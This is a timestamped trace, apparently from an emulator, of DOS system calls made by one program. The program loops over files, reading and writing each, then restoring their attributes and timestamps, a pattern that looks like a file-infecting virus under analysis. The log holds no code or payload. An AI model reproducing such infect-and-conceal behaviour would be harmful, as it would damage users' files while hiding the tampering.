2018-12-25T12:37:38.866545226Z 66 PC: 12af5 | Move file pointer (See above)
2018-12-25T12:37:38.868246324Z 44 PC: 12b03 | Get time (See above)
2018-12-25T12:37:38.871492896Z 64 PC: 12a77 | Write file or device (See above)
2018-12-25T12:37:38.87669806Z 66 PC: 12b1d | Move file pointer (See above)
2018-12-25T12:37:38.878300444Z 64 PC: 12b2a | Write file or device (See above)
2018-12-25T12:37:38.881642908Z 67 PC: 12b38 | Get or set file attributes (See above)
2018-12-25T12:37:38.887961947Z 87 PC: 12b47 | Get or set file date and time (See above)
2018-12-25T12:37:38.88998729Z 62 PC: 12b4b | Close file (See above)
2018-12-25T12:37:38.898819496Z 79 PC: 12ab3 | Find next file (See above)
2018-12-25T12:37:38.90318639Z 67 PC: 12ac4 | Get or set file attributes (See above)
2018-12-25T12:37:38.915056071Z 61 PC: 12ad2 | Open file (See above)
2018-12-25T12:37:38.92297334Z 63 PC: 12ae0 | Read file or device (See above)
2018-12-25T12:37:38.932442265Z 66 PC: 12af5 | Move file pointer (See above)
2018-12-25T12:37:38.934525463Z 44 PC: 12b03 | Get time (See above)
2018-12-25T12:37:38.937524879Z 64 PC: 12a77 | Write file or device (See above)
2018-12-25T12:37:38.942276686Z 66 PC: 12b1d | Move file pointer (See above)
2018-12-25T12:37:38.945199578Z 64 PC: 12b2a | Write file or device (See above)
2018-12-25T12:37:38.948661304Z 67 PC: 12b38 | Get or set file attributes (See above)
2018-12-25T12:37:38.954556393Z 87 PC: 12b47 | Get or set file date and time (See above)
2018-12-25T12:37:38.958706711Z 62 PC: 12b4b | Close file (See above)
2018-12-25T12:37:38.967514308Z 79 PC: 12ab3 | Find next file (See above)
2018-12-25T12:37:38.970911444Z 67 PC: 12ac4 | Get or set file attributes (See above)
2018-12-25T12:37:38.983116639Z 61 PC: 12ad2 | Open file (See above)
2018-12-25T12:37:38.991229664Z 63 PC: 12ae0 | Read file or device (See above)
2018-12-25T12:37:38.998864045Z 66 PC: 12af5 | Move file pointer (See above)
2018-12-25T12:37:39.001878191Z 44 PC: 12b03 | Get time (See above)
2018-12-25T12:37:39.005114797Z 64 PC: 12a77 | Write file or device (See above)
2018-12-25T12:37:39.009232744Z 66 PC: 12b1d | Move file pointer (See above)
2018-12-25T12:37:39.01176956Z 64 PC: 12b2a | Write file or device (See above)
2018-12-25T12:37:39.015990046Z 67 PC: 12b38 | Get or set file attributes (See above)
2018-12-25T12:37:39.022042998Z 87 PC: 12b47 | Get or set file date and time (See above)
2018-12-25T12:37:39.025262117Z 62 PC: 12b4b | Close file (See above)
2018-12-25T12:37:39.033747197Z 79 PC: 12ab3 | Find next file (See above)
2018-12-25T12:37:39.037118278Z 67 PC: 12ac4 | Get or set file attributes (See above)
2018-12-25T12:37:39.048433111Z 61 PC: 12ad2 | Open file (See above)
2018-12-25T12:37:39.057461622Z 63 PC: 12ae0 | Read file or device (See above)
2018-12-25T12:37:39.065083703Z 66 PC: 12af5 | Move file pointer (See above)
2018-12-25T12:37:39.067043765Z 44 PC: 12b03 | Get time (See above)
2018-12-25T12:37:39.071126276Z 64 PC: 12a77 | Write file or device (See above)
2018-12-25T12:37:39.080997105Z 66 PC: 12b1d | Move file pointer (See above)
2018-12-25T12:37:39.082933807Z 64 PC: 12b2a | Write file or device (See above)
2018-12-25T12:37:39.092042041Z 67 PC: 12b38 | Get or set file attributes (See above)
2018-12-25T12:37:39.098179489Z 87 PC: 12b47 | Get or set file date and time (See above)
2018-12-25T12:37:39.100319896Z 62 PC: 12b4b | Close file (See above)
2018-12-25T12:37:39.110369602Z 79 PC: 12ab3 | Find next file (See above)
2018-12-25T12:37:39.114163218Z 67 PC: 12ac4 | Get or set file attributes (See above)
2018-12-25T12:37:39.129296852Z 61 PC: 12ad2 | Open file (See above)
2018-12-25T12:37:39.137137902Z 63 PC: 12ae0 | Read file or device (See above)
2018-12-25T12:37:39.14627796Z 66 PC: 12af5 | Move file pointer (See above)
2018-12-25T12:37:39.148639792Z 44 PC: 12b03 | Get time (See above)
2018-12-25T12:37:39.151840818Z 64 PC: 12a77 | Write file or device (See above)
2018-12-25T12:37:39.155675119Z 66 PC: 12b1d | Move file pointer (See above)
2018-12-25T12:37:39.157200542Z 64 PC: 12b2a | Write file or device (See above)
2018-12-25T12:37:39.161084476Z 67 PC: 12b38 | Get or set file attributes (See above)
2018-12-25T12:37:39.167036187Z 87 PC: 12b47 | Get or set file date and time (See above)
2018-12-25T12:37:39.168731337Z 62 PC: 12b4b | Close file (See above)
2018-12-25T12:37:39.177626207Z 79 PC: 12ab3 | Find next file (See above)
2018-12-25T12:37:39.181478721Z 67 PC: 12ac4 | Get or set file attributes (See above)
2018-12-25T12:37:39.192384555Z 61 PC: 12ad2 | Open file (See above)
2018-12-25T12:37:39.199663264Z 63 PC: 12ae0 | Read file or device (See above)
2018-12-25T12:37:39.203374807Z 67 PC: 12b38 | Get or set file attributes (See above)
2018-12-25T12:37:39.214654261Z 87 PC: 12b47 | Get or set file date and time (See above)
2018-12-25T12:37:39.216122221Z 62 PC: 12b4b | Close file (See above)
2018-12-25T12:37:39.225908923Z 79 PC: 12ab3 | Find next file (See above)
2018-12-25T12:37:39.228614562Z 59 PC: 12b63 | Change current directory
2018-12-25T12:37:39.233298651Z 59 PC: 12b6f | Change current directory
2018-12-25T12:37:39.238602366Z 26 PC: 12b57 | Set disk transfer address